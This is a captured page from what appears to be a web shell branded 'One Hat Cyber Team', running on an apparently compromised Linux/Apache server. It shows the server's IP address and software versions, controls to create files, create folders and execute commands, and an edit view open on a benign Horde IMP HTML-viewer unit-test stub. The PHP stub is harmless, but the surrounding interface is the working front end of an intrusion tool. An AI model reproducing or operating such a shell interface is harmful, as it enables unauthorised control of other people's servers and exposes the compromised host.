⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.78
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
tests
/
imp
/
Imp
/
Stub
/
Edit File: HtmlViewer.php
<?php /** * Copyright 2010-2017 Horde LLC (http://www.horde.org/) * * See the enclosed file COPYING for license information (GPL). If you * did not receive this file, see http://www.horde.org/licenses/gpl. * * @category Horde * @copyright 2010-2016 Horde LLC * @license http://www.horde.org/licenses/gpl GPL * @package IMP * @subpackage UnitTests */ /** * Stub for testing the IMP HTML Mime Viewer driver. * Needed because we need to overwrite a protected method. * * @author Michael Slusarz <slusarz@horde.org> * @category Horde * @copyright 2010-2016 Horde LLC * @ignore * @license http://www.horde.org/licenses/gpl GPL * @package IMP * @subpackage UnitTests */ class Imp_Stub_Mime_Viewer_Html extends IMP_Mime_Viewer_Html { public function runTest($html) { $this->_imptmp = array( 'blockimg' => 'imgblock.png', 'img' => true, 'imgblock' => false, 'inline' => true, 'target' => '_blank' ); $this->_tmp = array( 'base' => null, 'inline' => true, 'phish' => true ); $dom = new Horde_Domhtml($html); foreach ($dom as $node) { $this->_node($dom->dom, $node); } return $dom->dom->saveXML($dom->dom->getElementsByTagName('body')->item(0)->firstChild); } }
Simpan